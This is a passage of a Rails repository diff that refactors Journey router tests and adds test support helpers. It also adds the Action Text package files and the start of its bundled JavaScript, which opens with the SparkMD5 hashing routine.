+++ b/actionpack/test/journey/router_test.rb
@@ -1,4 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "rack/utils"
 
 module ActionDispatch
   module Journey
@@ -28,7 +31,7 @@ def test_dashes
       def test_unicode
         get "/��", to: "foo#bar"
 
-        #match the escaped version of /��
+        # match the escaped version of /��
         env = rails_env "PATH_INFO" => "/%E3%81%BB%E3%81%92"
         called = false
         router.recognize(env) do |r, params|
@@ -38,7 +41,7 @@ def test_unicode
       end
 
       def test_regexp_first_precedence
-        get "/whois/:domain", domain: /\w+\.[\w\.]+/, to: "foo#bar"
+        get "/whois/:domain", domain: /\w+\.[\w.]+/, to: "foo#bar"
         get "/whois/:id(.:format)", to: "foo#baz"
 
         env = rails_env "PATH_INFO" => "/whois/example.com"
@@ -58,31 +61,31 @@ def test_required_parts_verified_are_anchored
         get "/foo/:id", id: /\d/, anchor: false, to: "foo#bar"
 
         assert_raises(ActionController::UrlGenerationError) do
-          @formatter.generate(nil, { controller: "foo", action: "bar", id: "10" }, {})
+          @route_set.url_for({ controller: "foo", action: "bar", id: "10" }, nil)
         end
       end
 
       def test_required_parts_are_verified_when_building
         get "/foo/:id", id: /\d+/, anchor: false, to: "foo#bar"
 
-        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar", id: "10" }, {})
+        path, _ = _generate(nil, { controller: "foo", action: "bar", id: "10" }, {})
         assert_equal "/foo/10", path
 
         assert_raises(ActionController::UrlGenerationError) do
-          @formatter.generate(nil, { id: "aa" }, {})
+          _generate(nil, { id: "aa" }, {})
         end
       end
 
       def test_only_required_parts_are_verified
         get "/foo(/:id)", id: /\d/, to: "foo#bar"
 
-        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar", id: "10" }, {})
+        path, _ = _generate(nil, { controller: "foo", action: "bar", id: "10" }, {})
         assert_equal "/foo/10", path
 
-        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar" }, {})
+        path, _ = _generate(nil, { controller: "foo", action: "bar" }, {})
         assert_equal "/foo", path
 
-        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar", id: "aa" }, {})
+        path, _ = _generate(nil, { controller: "foo", action: "bar", id: "aa" }, {})
         assert_equal "/foo/aa", path
       end
 
@@ -91,7 +94,7 @@ def test_knows_what_parts_are_missing_from_named_route
         get "/foo/:id", as: route_name, id: /\d+/, to: "foo#bar"
 
         error = assert_raises(ActionController::UrlGenerationError) do
-          @formatter.generate(route_name, {}, {})
+          _generate(route_name, {}, {})
         end
 
         assert_match(/missing required keys: \[:id\]/, error.message)
@@ -101,17 +104,17 @@ def test_does_not_include_missing_keys_message
         route_name = "gorby_thunderhorse"
 
         error = assert_raises(ActionController::UrlGenerationError) do
-          @formatter.generate(route_name, {}, {})
+          _generate(route_name, {}, {})
         end
 
         assert_no_match(/missing required keys: \[\]/, error.message)
       end
 
-      def test_X_Cascade
+      def test_x_cascade
         get "/messages(.:format)", to: "foo#bar"
         resp = router.serve(rails_env("REQUEST_METHOD" => "GET", "PATH_INFO" => "/lol"))
         assert_equal ["Not Found"], resp.last
-        assert_equal "pass", resp[1]["X-Cascade"]
+        assert_equal "pass", resp[1][Constants::X_CASCADE]
         assert_equal 404, resp.first
       end
 
@@ -144,10 +147,16 @@ def test_recognize_with_unbound_regexp
 
         env = rails_env "PATH_INFO" => "/foo/bar"
 
-        router.recognize(env) { |*_| }
+        recognized = false
+
+        router.recognize(env) do |*_|
+          assert_equal "/foo", env.env["SCRIPT_NAME"]
+          assert_equal "/bar", env.env["PATH_INFO"]
+
+          recognized = true
+        end
 
-        assert_equal "/foo", env.env["SCRIPT_NAME"]
-        assert_equal "/bar", env.env["PATH_INFO"]
+        assert recognized
       end
 
       def test_bound_regexp_keeps_path_info
@@ -184,14 +193,14 @@ def test_path_not_found
       def test_required_part_in_recall
         get "/messages/:a/:b", to: "foo#bar"
 
-        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar", a: "a" }, b: "b")
+        path, _ = _generate(nil, { controller: "foo", action: "bar", a: "a" }, { b: "b" })
         assert_equal "/messages/a/b", path
       end
 
       def test_splat_in_recall
         get "/*path", to: "foo#bar"
 
-        path, _ = @formatter.generate(nil, { controller: "foo", action: "bar" }, path: "b")
+        path, _ = _generate(nil, { controller: "foo", action: "bar" }, { path: "b" })
         assert_equal "/b", path
       end
 
@@ -199,7 +208,7 @@ def test_recall_should_be_used_when_scoring
         get "/messages/:action(/:id(.:format))", to: "foo#bar"
         get "/messages/:id(.:format)", to: "bar#baz"
 
-        path, _ = @formatter.generate(nil, { controller: "foo", id: 10 }, action: "index")
+        path, _ = _generate(nil, { controller: "foo", id: 10 }, { action: "index" })
         assert_equal "/messages/index/10", path
       end
 
@@ -209,48 +218,32 @@ def test_nil_path_parts_are_ignored
         params = { controller: "tasks", format: nil }
         extras = { action: "lol" }
 
-        path, _ = @formatter.generate(nil, params, extras)
-        assert_equal "/tasks", path
+        path, _ = _generate(nil, params, extras)
+        assert_equal "/tasks/index", path
       end
 
       def test_generate_slash
         params = [ [:controller, "tasks"],
                    [:action, "show"] ]
-        get "/", Hash[params]
+        get "/", **Hash[params]
 
-        path, _ = @formatter.generate(nil, Hash[params], {})
+        path, _ = _generate(nil, Hash[params], {})
         assert_equal "/", path
       end
 
-      def test_generate_calls_param_proc
-        get "/:controller(/:action)", to: "foo#bar"
-
-        parameterized = []
-        params = [ [:controller, "tasks"],
-                   [:action, "show"] ]
-
-        @formatter.generate(
-          nil,
-          Hash[params],
-          {},
-          lambda { |k, v| parameterized << [k, v]; v })
-
-        assert_equal params.map(&:to_s).sort, parameterized.map(&:to_s).sort
-      end
-
       def test_generate_id
         get "/:controller(/:action)", to: "foo#bar"
 
-        path, params = @formatter.generate(
+        path, params = _generate(
           nil, { id: 1, controller: "tasks", action: "show" }, {})
         assert_equal "/tasks/show", path
-        assert_equal({ id: 1 }, params)
+        assert_equal({ id: "1" }, params)
       end
 
       def test_generate_escapes
         get "/:controller(/:action)", to: "foo#bar"
 
-        path, _ = @formatter.generate(nil,
+        path, _ = _generate(nil,
           { controller: "tasks",
                  action: "a/b c+d",
         }, {})
@@ -260,7 +253,7 @@ def test_generate_escapes
       def test_generate_escapes_with_namespaced_controller
         get "/:controller(/:action)", to: "foo#bar"
 
-        path, _ = @formatter.generate(
+        path, _ = _generate(
           nil, { controller: "admin/tasks",
                  action: "a/b c+d",
         }, {})
@@ -270,19 +263,19 @@ def test_generate_escapes_with_namespaced_controller
       def test_generate_extra_params
         get "/:controller(/:action)", to: "foo#bar"
 
-        path, params = @formatter.generate(
+        path, params = _generate(
           nil, { id: 1,
                  controller: "tasks",
                  action: "show",
                  relative_url_root: nil
         }, {})
         assert_equal "/tasks/show", path
-        assert_equal({ id: 1, relative_url_root: nil }, params)
+        assert_equal({ id: "1" }, params)
       end
 
       def test_generate_missing_keys_no_matches_different_format_keys
         get "/:controller/:action/:name", to: "foo#bar"
-        primarty_parameters = {
+        primary_parameters = {
           id: 1,
           controller: "tasks",
           action: "show",
@@ -295,12 +288,12 @@ def test_generate_missing_keys_no_matches_different_format_keys
         missing_parameters = {
           missing_key => "task_1"
         }
-        request_parameters = primarty_parameters.merge(redirection_parameters).merge(missing_parameters)
+        request_parameters = primary_parameters.merge(redirection_parameters).merge(missing_parameters)
 
-        message = "No route matches #{Hash[request_parameters.sort_by { |k, v|k.to_s }].inspect}, missing required keys: #{[missing_key.to_sym].inspect}"
+        message = "No route matches #{Hash[request_parameters.sort_by { |k, _|k.to_s }].inspect}, missing required keys: #{[missing_key.to_sym].inspect}"
 
         error = assert_raises(ActionController::UrlGenerationError) do
-          @formatter.generate(
+          _generate(
             nil, request_parameters, request_parameters)
         end
         assert_equal message, error.message
@@ -309,10 +302,10 @@ def test_generate_missing_keys_no_matches_different_format_keys
       def test_generate_uses_recall_if_needed
         get "/:controller(/:action(/:id))", to: "foo#bar"
 
-        path, params = @formatter.generate(
+        path, params = _generate(
           nil,
           { controller: "tasks", id: 10 },
-          action: "index")
+          { action: "index" })
         assert_equal "/tasks/index/10", path
         assert_equal({}, params)
       end
@@ -320,11 +313,11 @@ def test_generate_uses_recall_if_needed
       def test_generate_with_name
         get "/:controller(/:action)", to: "foo#bar", as: "tasks"
 
-        path, params = @formatter.generate(
+        path, params = _generate(
           "tasks",
           { controller: "tasks" },
-          controller: "tasks", action: "index")
-        assert_equal "/tasks", path
+          { controller: "tasks", action: "index" })
+        assert_equal "/tasks/index", path
         assert_equal({}, params)
       end
 
@@ -491,17 +484,35 @@ def test_multi_verb_recognition
         assert_not called
       end
 
+      def test_eager_load_with_routes
+        get "/foo-bar", to: "foo#bar"
+        assert_nil router.eager_load!
+      end
+
+      def test_eager_load_without_routes
+        assert_nil router.eager_load!
+      end
+
       private
+        def _generate(route_name, options, recall)
+          if recall
+            options = options.merge(_recall: recall)
+          end
+          path = @route_set.path_for(options, route_name)
+          uri = URI.parse path
+          params = ActionDispatch::ParamBuilder.from_query_string(uri.query).symbolize_keys
+          [uri.path, params]
+        end
 
-        def get(*args)
-          ActiveSupport::Deprecation.silence do
-            mapper.get(*args)
+        def get(...)
+          ActionDispatch.deprecator.silence do
+            mapper.get(...)
           end
         end
 
-        def match(*args)
-          ActiveSupport::Deprecation.silence do
-            mapper.match(*args)
+        def match(...)
+          ActionDispatch.deprecator.silence do
+            mapper.match(...)
           end
         end
 
diff --git a/actionpack/test/journey/routes_test.rb b/actionpack/test/journey/routes_test.rb
index d8db5ffad1152..1b23d72849b76 100644
--- a/actionpack/test/journey/routes_test.rb
+++ b/actionpack/test/journey/routes_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
@@ -15,11 +17,11 @@ def setup
 
       def test_clear
         mapper.get "/foo(/:id)", to: "foo#bar", as: "aaron"
-        assert_not_predicate routes, :empty?
+        assert_not_empty routes
         assert_equal 1, routes.length
 
         routes.clear
-        assert routes.empty?
+        assert_empty routes
         assert_equal 0, routes.length
       end
 
@@ -41,14 +43,26 @@ def test_partition_route
         mapper.get "/foo(/:id)", to: "foo#bar", as: "aaron"
 
         assert_equal 1, @routes.anchored_routes.length
-        assert_predicate @routes.custom_routes, :empty?
+        assert_empty @routes.custom_routes
 
-        mapper.get "/hello/:who", to: "foo#bar", as: "bar", who: /\d/
+        mapper.get "/not_anchored/hello/:who-notanchored", to: "foo#bar", as: "bar", who: /\d/, anchor: false
 
         assert_equal 1, @routes.custom_routes.length
         assert_equal 1, @routes.anchored_routes.length
       end
 
+      def test_custom_anchored_not_partition_route
+        mapper.get "/foo/:bar", to: "foo#bar", as: "aaron"
+
+        assert_equal 1, @routes.anchored_routes.length
+        assert_empty @routes.custom_routes
+
+        mapper.get "/:user/:repo", to: "foo#bar", as: "bar", repo: /[\w.]+/
+
+        assert_equal 2, @routes.anchored_routes.length
+        assert_empty @routes.custom_routes
+      end
+
       def test_first_name_wins
         mapper.get "/hello", to: "foo#bar", as: "aaron"
         assert_raise(ArgumentError) do
diff --git a/actionpack/test/lib/controller/fake_controllers.rb b/actionpack/test/lib/controller/fake_controllers.rb
index 1a2863b6891c4..e985716f43ba4 100644
--- a/actionpack/test/lib/controller/fake_controllers.rb
+++ b/actionpack/test/lib/controller/fake_controllers.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class ContentController < ActionController::Base; end
 
 module Admin
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
index b768553e7a93a..01c7ec26ae949 100644
--- a/actionpack/test/lib/controller/fake_models.rb
+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_model"
 
 Customer = Struct.new(:name, :id) do
@@ -26,6 +28,10 @@ def errors
   def persisted?
     id.present?
   end
+
+  def cache_key
+    "#{name}/#{id}"
+  end
 end
 
 Post = Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost) do
diff --git a/actionpack/test/lib/test_renderable.rb b/actionpack/test/lib/test_renderable.rb
new file mode 100644
index 0000000000000..46e2f8983c5c2
--- /dev/null
+++ b/actionpack/test/lib/test_renderable.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class TestRenderable
+  def render_in(_view_context)
+    "Hello, World!"
+  end
+
+  def format
+    :html
+  end
+end
diff --git a/actionpack/test/routing/helper_test.rb b/actionpack/test/routing/helper_test.rb
index 0debacedf7161..d13b043b0bead 100644
--- a/actionpack/test/routing/helper_test.rb
+++ b/actionpack/test/routing/helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
diff --git a/actionpack/test/support/etag_helper.rb b/actionpack/test/support/etag_helper.rb
new file mode 100644
index 0000000000000..620bd4ad0d850
--- /dev/null
+++ b/actionpack/test/support/etag_helper.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module EtagHelper
+  def weak_etag(record)
+    "W/#{strong_etag record}"
+  end
+
+  def strong_etag(record)
+    %("#{ActiveSupport::Digest.hexdigest(ActiveSupport::Cache.expand_cache_key(record))}")
+  end
+end
diff --git a/actionpack/test/support/path_helper.rb b/actionpack/test/support/path_helper.rb
new file mode 100644
index 0000000000000..df615821381f8
--- /dev/null
+++ b/actionpack/test/support/path_helper.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  module Journey
+    module PathHelper
+      def path_from_string(string)
+        build_path(string, {}, "/.?", true)
+      end
+
+      def build_path(path, requirements, separators, anchored, formatted = true)
+        parser = ActionDispatch::Journey::Parser.new
+        ast = parser.parse path
+        ast = Journey::Ast.new(ast, formatted)
+        ActionDispatch::Journey::Path::Pattern.new(
+          ast,
+          requirements,
+          separators,
+          anchored
+        )
+      end
+    end
+  end
+end
diff --git a/actionpack/test/support/rack_parsing_override.rb b/actionpack/test/support/rack_parsing_override.rb
new file mode 100644
index 0000000000000..982065df4f0db
--- /dev/null
+++ b/actionpack/test/support/rack_parsing_override.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+# Because we implement our own query string parsing, and it is extremely
+# similar to Rack's in most simple cases, it would be very easy to have
+# locations sneak in where we unknowingly depend on Rack's
+# interpretation rather than our own, potentially creating edge-case
+# incompatibilities.
+#
+# To counter that, we monkey-patch Rack in our tests to allow-list the
+# call sites that are known to be safe & appropriate.
+#
+# This file may need to change in response to future Rack changes. If
+# you're here because you're adding new code/tests to Rails, though, you
+# probably need to work out how to ensure you're using the Rails query
+# parser instead.
+module RackParsingOverride
+  UnexpectedCall = Class.new(Exception)
+
+  # The only expected calls to Rack::QueryParser#parse_nested_query are
+  # from Rack::Request#GET/POST, which are separately protected below.
+  module ParserPatch
+    def parse_nested_query(*)
+      unless caller_locations.any? { |loc| loc.path == __FILE__ && (loc.lineno == RackParsingOverride::GET_LINE || loc.lineno == RackParsingOverride::POST_LINE) }
+        raise UnexpectedCall, "Unexpected call to Rack::QueryParser#parse_nested_query"
+      end
+      super
+    end
+  end
+
+  # This is where we do the real checking, because we need to catch
+  # every caller that might _use_ the cached result of Rack's parsing,
+  # not just the first call site where parsing gets triggered.
+  module RequestPatch
+    # Single list of permitted callers -- we don't care about GET vs POST
+    def self.permitted_caller?
+      caller_locations.any? do |loc|
+        # Our parser calls Rack's to prepopulate caches
+        loc.path.end_with?("lib/action_dispatch/http/request.rb") && loc.base_label == "request_parameters_list" ||
+          # and as a fallback for older Rack versions
+          loc.path.end_with?("lib/action_dispatch/http/request.rb") && loc.base_label == "fallback_request_parameters" ||
+          # This specifically tests that a "pure" Rack middleware
+          # doesn't interfere with our parsing
+          (loc.path.end_with?("test/dispatch/request/query_string_parsing_test.rb") && loc.base_label == "populate_rack_cache") ||
+          # Rack::MethodOverride obviously uses Rack's parsing, and
+          # that's fine: it's looking for a simple top-level key.
+          # Checking for a specific internal method is fragile, but we
+          # don't want to ignore any app that happens to have
+          # MethodOverride on its call stack!
+          (loc.path.end_with?("lib/rack/method_override.rb") && loc.base_label == "method_override_param")
+      end
+    end
+
+    def params
+      unless RequestPatch.permitted_caller?
+        raise UnexpectedCall, "Unexpected call to Rack::Request#params"
+      end
+      super
+    end
+    ::RackParsingOverride::PARAMS_LINE = __LINE__ - 2
+
+    def GET
+      unless RequestPatch.permitted_caller?
+        raise UnexpectedCall, "Unexpected call to Rack::Request#GET"
+      end
+      super
+    end
+    ::RackParsingOverride::GET_LINE = __LINE__ - 2
+
+    def POST
+      unless RequestPatch.permitted_caller?
+        raise UnexpectedCall, "Unexpected call to Rack::Request#POST"
+      end
+      super
+    end
+    ::RackParsingOverride::POST_LINE = __LINE__ - 2
+  end
+
+  Rack::QueryParser.class_eval do
+    # Being careful here, as this is more internal
+    unless method_defined?(:parse_nested_query)
+      raise "Rack changed? Can't patch absent Rack::QueryParser#parse_nested_query"
+    end
+    prepend ParserPatch
+  end
+
+  Rack::Request.prepend RequestPatch
+end
diff --git a/actionpack/test/support/system_helper.rb b/actionpack/test/support/system_helper.rb
new file mode 100644
index 0000000000000..55467595d91e3
--- /dev/null
+++ b/actionpack/test/support/system_helper.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class DrivenByRackTest < ActionDispatch::SystemTestCase
+  driven_by :rack_test
+end
+
+class DrivenBySeleniumWithChrome < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :chrome
+end
+
+class DrivenBySeleniumWithHeadlessChrome < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome
+end
+
+class DrivenBySeleniumWithHeadlessFirefox < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_firefox
+end
diff --git a/actiontext/.gitignore b/actiontext/.gitignore
new file mode 100644
index 0000000000000..1a3527fdd7ae4
--- /dev/null
+++ b/actiontext/.gitignore
@@ -0,0 +1,8 @@
+/test/dummy/storage/*.sqlite3
+/test/dummy/storage/*.sqlite3-*
+/test/dummy/db/*.sqlite3
+/test/dummy/db/*.sqlite3-*
+/test/dummy/log/*.log
+/test/dummy/public/packs-test
+/test/dummy/tmp/
+/tmp/
diff --git a/actiontext/CHANGELOG.md b/actiontext/CHANGELOG.md
new file mode 100644
index 0000000000000..99290fd5856f4
--- /dev/null
+++ b/actiontext/CHANGELOG.md
@@ -0,0 +1,21 @@
+*   Deprecate Trix-specific classes, modules, and methods
+
+    * `ActionText::Attachable#to_trix_content_attachment_partial_path`. Override
+      `#to_editor_content_attachment_partial_path` instead.
+    * `ActionText::Attachments::TrixConversion`
+    * `ActionText::Content#to_trix_html`.
+    * `ActionText::RichText#to_trix_html`.
+    * `ActionText::TrixAttachment`
+
+    *Sean Doyle*
+
+*   Validate `RemoteImage` URLs at creation time.
+
+    `RemoteImage.from_node` now validates the URL before creating a `RemoteImage` object, using the
+    same regex that `AssetUrlHelper` uses during rendering. URLs like "image.png" that would
+    previously have been passed to the asset pipeline and raised a `ActionView::Template::Error` are
+    rejected early, and gracefully fail by resulting in a `MissingAttachable`.
+
+    *Mike Dalessio*
+
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/actiontext/CHANGELOG.md) for previous changes.
diff --git a/actiontext/MIT-LICENSE b/actiontext/MIT-LICENSE
new file mode 100644
index 0000000000000..18b341857b9f9
--- /dev/null
+++ b/actiontext/MIT-LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 37signals LLC
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/actiontext/README.md b/actiontext/README.md
new file mode 100644
index 0000000000000..20d2d3e8255ec
--- /dev/null
+++ b/actiontext/README.md
@@ -0,0 +1,13 @@
+# Action Text
+
+Action Text brings rich text content and editing to \Rails. It includes the [Trix editor](https://trix-editor.org) that handles everything from formatting to links to quotes to lists to embedded images and galleries. The rich text content generated by the Trix editor is saved in its own RichText model that's associated with any existing Active Record model in the application. Any embedded images (or other attachments) are automatically stored using Active Storage and associated with the included RichText model.
+
+You can read more about Action Text in the [Action Text Overview](https://guides.rubyonrails.org/action_text_overview.html) guide.
+
+## Development
+
+The JavaScript for Action Text is distributed both as a npm module under @rails/actiontext and via the asset pipeline as actiontext.js (and we mirror Trix as trix.js). To ensure that the latter remains in sync, you must run `yarn build` and checkin the artifacts whenever the JavaScript source or the Trix dependency is bumped. CSS changes must be brought over manually to app/assets/stylesheets/trix.css
+
+## License
+
+Action Text is released under the [MIT License](https://opensource.org/licenses/MIT).
diff --git a/actiontext/Rakefile b/actiontext/Rakefile
new file mode 100644
index 0000000000000..1964853ac9bb3
--- /dev/null
+++ b/actiontext/Rakefile
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "bundler/setup"
+require "bundler/gem_tasks"
+require "rake/testtask"
+
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
+
+Rake::TestTask.new do |t|
+  t.libs << "test"
+  t.test_files = FileList["test/**/*_test.rb"].exclude("test/system/**/*", "test/dummy/**/*")
+  t.verbose = true
+  t.options = "--profile" if ENV["CI"]
+end
+
+Rake::TestTask.new "test:system" do |t|
+  t.libs << "test"
+  t.test_files = FileList["test/system/**/*_test.rb"]
+  t.verbose = true
+  t.options = "--profile" if ENV["CI"]
+end
+
+namespace :test do
+  task isolated: :railties do
+    FileList["test/**/*_test.rb"].exclude("test/system/**/*", "test/dummy/**/*").all? do |file|
+      sh(Gem.ruby, "-w", "-Ilib", "-Itest", file)
+    end || raise("Failures")
+  end
+
+  task :railties do
+    ["action_text/engine"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
+  end
+end
+
+task default: :test
diff --git a/actiontext/actiontext.gemspec b/actiontext/actiontext.gemspec
new file mode 100644
index 0000000000000..e351bba47fd17
--- /dev/null
+++ b/actiontext/actiontext.gemspec
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "actiontext"
+  s.version     = version
+  s.summary     = "Rich text framework."
+  s.description = "Edit and display rich text in Rails applications."
+
+  s.required_ruby_version = ">= 3.2.0"
+
+  s.license  = "MIT"
+
+  s.authors  = ["Javan Makhmali", "Sam Stephenson", "David Heinemeier Hansson"]
+  s.email    = ["javan@javan.us", "sstephenson@gmail.com", "david@loudthinking.com"]
+  s.homepage = "https://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.md", "lib/**/*", "app/**/*", "config/**/*", "db/**/*", "package.json"]
+  s.require_path = "lib"
+
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/actiontext/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/actiontext",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
+  s.add_dependency "activesupport", version
+  s.add_dependency "activerecord",  version
+  s.add_dependency "activestorage", version
+  s.add_dependency "actionpack",    version
+
+  s.add_dependency "nokogiri", ">= 1.8.5"
+  s.add_dependency "globalid", ">= 0.6.0"
+  s.add_dependency "action_text-trix", "~> 2.1.15"
+end
diff --git a/actiontext/app/assets/javascripts/.gitattributes b/actiontext/app/assets/javascripts/.gitattributes
new file mode 100644
index 0000000000000..1f28b2bca67c9
--- /dev/null
+++ b/actiontext/app/assets/javascripts/.gitattributes
@@ -0,0 +1,2 @@
+actiontext.js linguist-generated
+actiontext.esm.js linguist-generated
diff --git a/actiontext/app/assets/javascripts/actiontext.esm.js b/actiontext/app/assets/javascripts/actiontext.esm.js
new file mode 100644
index 0000000000000..281013756ceaf
--- /dev/null
+++ b/actiontext/app/assets/javascripts/actiontext.esm.js
@@ -0,0 +1,989 @@
+var sparkMd5 = {
+  exports: {}
+};
+
+(function(module, exports) {
+  (function(factory) {
+    {
+      module.exports = factory();
+    }
+  })((function(undefined$1) {
+    var hex_chr = [ "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" ];
+    function md5cycle(x, k) {
+      var a = x[0], b = x[1], c = x[2], d = x[3];
+      a += (b & c | ~b & d) + k[0] - 680876936 | 0;
+      a = (a << 7 | a >>> 25) + b | 0;
+      d += (a & b | ~a & c) + k[1] - 389564586 | 0;
+      d = (d << 12 | d >>> 20) + a | 0;
+      c += (d & a | ~d & b) + k[2] + 606105819 | 0;
+      c = (c << 17 | c >>> 15) + d | 0;
+      b += (c & d | ~c & a) + k[3] - 1044525330 | 0;
+      b = (b << 22 | b >>> 10) + c | 0;
+      a += (b & c | ~b & d) + k[4] - 176418897 | 0;
+      a = (a << 7 | a >>> 25) + b | 0;
+      d += (a & b | ~a & c) + k[5] + 1200080426 | 0;
+      d = (d << 12 | d >>> 20) + a | 0;
+      c += (d & a | ~d & b) + k[6] - 1473231341 | 0;
+      c = (c << 17 | c >>> 15) + d | 0;
+      b += (c & d | ~c & a) + k[7] - 45705983 | 0;
+      b = (b << 22 | b >>> 10) + c | 0;
+      a += (b & c | ~b & d) + k[8] + 1770035416 | 0;
+      a = (a << 7 | a >>> 25) + b | 0;
+      d += (a & b | ~a & c) + k[9] - 1958414417 | 0;
+      d = (d << 12 | d >>> 20) + a | 0;
+      c += (d & a | ~d & b) + k[10] - 42063 | 0;
+      c = (c << 17 | c >>> 15) + d | 0;
+      b += (c & d | ~c & a) + k[11] - 1990404162 | 0;
+      b = (b << 22 | b >>> 10) + c | 0;
+      a += (b & c | ~b & d) + k[12] + 1804603682 | 0;
+      a = (a << 7 | a >>> 25) + b | 0;
+      d += (a & b | ~a & c) + k[13] - 40341101 | 0;
+      d = (d << 12 | d >>> 20) + a | 0;
+      c += (d & a | ~d & b) + k[14] - 1502002290 | 0;
+      c = (c << 17 | c >>> 15) + d | 0;
+      b += (c & d | ~c & a) + k[15] + 1236535329 | 0;
+      b = (b << 22 | b >>> 10) + c | 0;
+      a += (b & d | c & ~d) + k[1] - 165796510 | 0;
+      a = (a << 5 | a >>> 27) + b | 0;
+      d += (a & c | b & ~c) + k[6] - 1069501632 | 0;
+      d = (d << 9 | d >>> 23) + a | 0;
+      c += (d & b | a & ~b) + k[11] + 643717713 | 0;
+      c = (c << 14 | c >>> 18) + d | 0;
+      b += (c & a | d & ~a) + k[0] - 373897302 | 0;
+      b = (b << 20 | b >>> 12) + c | 0;
+      a += (b & d | c & ~d) + k[5] - 701558691 | 0;
+      a = (a << 5 | a >>> 27) + b | 0;
+      d += (a & c | b & ~c) + k[10] + 38016083 | 0;
+      d = (d << 9 | d >>> 23) + a | 0;
+      c += (d & b | a & ~b) + k[15] - 660478335 | 0;
+      c = (c << 14 | c >>> 18) + d | 0;
+      b += (c & a | d & ~a) + k[4] - 405537848 | 0;
+      b = (b << 20 | b >>> 12) + c | 0;
+      a += (b & d | c & ~d) + k[9] + 568446438 | 0;
+      a = (a << 5 | a >>> 27) + b | 0;
+      d += (a & c | b & ~c) + k[14] - 1019803690 | 0;
+      d = (d << 9 | d >>> 23) + a | 0;
+      c += (d & b | a & ~b) + k[3] - 187363961 | 0;
+      c = (c << 14 | c >>> 18) + d | 0;
+      b += (c & a | d & ~a) + k[8] + 1163531501 | 0;
+      b = (b << 20 | b >>> 12) + c | 0;
+      a += (b & d | c & ~d) + k[13] - 1444681467 | 0;
+      a = (a << 5 | a >>> 27) + b | 0;
+      d += (a & c | b & ~c) + k[2] - 51403784 | 0;
+      d = (d << 9 | d >>> 23) + a | 0;
+      c += (d & b | a & ~b) + k[7] + 1735328473 | 0;
+      c = (c << 14 | c >>> 18) + d | 0;
+      b += (c & a | d & ~a) + k[12] - 1926607734 | 0;
+      b = (b << 20 | b >>> 12) + c | 0;
+      a += (b ^ c ^ d) + k[5] - 378558 | 0;
+      a = (a << 4 | a >>> 28) + b | 0;
+      d += (a ^ b ^ c) + k[8] - 2022574463 | 0;
+      d = (d << 11 | d >>> 21) + a | 0;
+      c += (d ^ a ^ b) + k[11] + 1839030562 | 0;
+      c = (c << 16 | c >>> 16) + d | 0;
+      b += (c ^ d ^ a) + k[14] - 35309556 | 0;
+      b = (b << 23 | b >>> 9) + c | 0;
+      a += (b ^ c ^ d) + k[1] - 1530992060 | 0;
+      a = (a << 4 | a >>> 28) + b | 0;
+      d += (a ^ b ^ c) + k[4] + 1272893353 | 0;
+      d = (d << 11 | d >>> 21) + a | 0;
+      c += (d ^ a ^ b) + k[7] - 155497632 | 0;
